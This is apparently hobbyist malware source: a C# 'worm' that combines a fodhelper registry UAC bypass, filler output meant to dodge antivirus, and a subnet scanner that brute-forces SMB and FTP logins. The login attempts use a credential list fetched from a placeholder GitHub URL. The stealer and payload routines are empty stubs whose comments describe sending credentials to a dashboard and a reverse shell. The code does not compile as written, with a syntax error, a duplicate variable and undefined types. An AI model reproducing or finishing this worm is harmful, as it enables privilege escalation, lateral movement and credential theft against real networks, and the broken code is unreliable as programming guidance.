bdunlap9's C# Worm - Source Code

using System;
using System.IO;
using System.Threading;
using System.Net;
using System.Net.Sockets;
using Microsoft.Win32;

namespace Worm
{
    class Program
    {
        static void privEsc()
        {
            // Windows 10 priv esc method via fodhelper.exe and registry
            // Get the path of the current running executable
            string exePath = System.Reflection.Assembly.GetExecutingAssembly().Location;

            // Set the registry key value
            Registry.SetValue(@"HKEY_CURRENT_USER\Software\Classes\ms-settings\shell\open\command", "", exePath, RegistryValueKind.String);

            // Set the registry key value for "DelegateExecute"
            Registry.SetValue(@"HKEY_CURRENT_USER\Software\Classes\ms-settings\shell\open\command", "DelegateExecute", "fodhelper.exe", RegistryValueKind.String);
        }

        static void junk()
        {
            Random random = new Random();
            var stopTime = DateTime.Now.AddSeconds(30);

            while (DateTime.Now < stopTime)
            {
                Console.Write((char)random.Next(32, 128));
                Thread.Sleep(10);
            }
        }

        static void gatherInfo():
        {
            // Gather computer info and identifiers


            // upload to dashboard

        }

        static void Stealer()
        {
            // save data and upload to dashboard with user information

        }

        static void ftp_Payload()
        {
            // save credentials & send back to reverse shell

        }

        static void smb_Payload()
        {
            // save credntials & send back to reverse shell

        }

        static void SMBFTP()
        {
            // Get the IP address of the local machine
            string host = Dns.GetHostName();
            IPHostEntry ip = Dns.GetHostEntry(host);
            IPAddress localAddress = ip.AddressList[0];

            // Get the subnet mask of the local machine
            IPInterfaceProperties adapterProperties = NetworkInformation.GetIPProperties(localAddress);
            IPAddress mask = adapterProperties.UnicastAddresses[0].IPv4Mask;

            // Calculate the subnet address
            byte[] ipAdressBytes = localAddress.GetAddressBytes();
            byte[] subnetMaskBytes = mask.GetAddressBytes();
            byte[] subnetAddressBytes = new byte[ipAdressBytes.Length];
            for (int i = 0; i < subnetAddressBytes.Length; i++)
            {
                subnetAddressBytes[i] = (byte)(ipAdressBytes[i] & subnetMaskBytes[i]);
            }
            IPAddress subnetAddress = new IPAddress(subnetAddressBytes);

            // Download the credentials from the GitHub repository
            WebClient client = new WebClient();
            string credentials = client.DownloadString("https://raw.githubusercontent.com/<repo_name>/credentials.txt");
            string[] lines = credentials.Split('\n');
            List<Tuple<string, string>> credList = new List<Tuple<string, string>>();
            for (int i = 0; i < lines.Length; i+=2)
            {
                credList.Add(new Tuple<string, string>(lines[i], lines[i+1]));
            }

            // Scan all IP addresses in the subnet
            int portNumber;
            TcpClient client = new TcpClient();
            for (int i = 1; i < 255; i++)
            {
                // Check if SMB port (445) is open
                string remoteAddress = subnetAddress.ToString().Substring(0, subnetAddress.ToString().LastIndexOf('.') + 1) + i.ToString();
                try
                {
                    client.Connect(remoteAddress, 445);
                    Console.WriteLine(remoteAddress + " has open SMB port.");
                    foreach (var cred in credList)
                    {
                        try
                        {
                            NetworkCredential networkCredential = new NetworkCredential(cred[0], cred[1]);
                            using (var smbClient = new SmbClient(remoteAddress, networkCredential))
                            {
                                Console.WriteLine("Successfully connected to " + remoteAddress + " using " + cred[0] + "/" + cred[1]);
                                smb_Payload();
                            }
                            break;
                        }
                        catch (Exception)
                        {
                            Console.WriteLine("Failed to connect to " + remoteAddress + " using " + cred[0] + "/" + cred[1]);
                        }
                    }
                }
                catch (Exception)
                {
                    // Console.WriteLine(remoteAddress + " does not have open SMB port.");
                }

                // Check if FTP port (21) is open
                try
                {
                    client.Connect(remoteAddress, 21);
                    Console.WriteLine(remoteAddress + " has open FTP port.");
                    foreach (var cred in credList)
                    {
                        try
                        {
                            FtpWebRequest request = (FtpWebRequest)WebRequest.Create("ftp://" + remoteAddress);
                            request.Credentials = new NetworkCredential(cred[0], cred[1]);
                            request.Method = WebRequestMethods.Ftp.ListDirectory;

                            FtpWebResponse response = (FtpWebResponse)request.GetResponse();
                            Console.WriteLine("Connected to the FTP server successfully using credentials: " + cred[0] + "," + cred[1]);
                            response.Close();
                            ftp_Payload();
                            break;
                        }
                        catch (WebException ex)
                        {
                            // Console.WriteLine("Failed to connect to the FTP server using credentials: " + cred[0] + "," + cred[1]);
                        }
                    }
                }
                catch (Exception)
                {
                    // Console.WriteLine(remoteAddress + " does not have open FTP port.");
                }
            }
            Console.ReadKey();
        }

        static void Main(string[] args)
        {
            // Init class
            Program worm = new Program();

            // junk code for 30 seconds and wait another 10 secs before executing the rest for basic AV Evasion
            worm.junk();

            // Priv Escalation
            worm.privEsc();

            // Stealer
            worm.Stealer();

            // Scan for new targets
            worm.SMBFTP();
        }
    }
}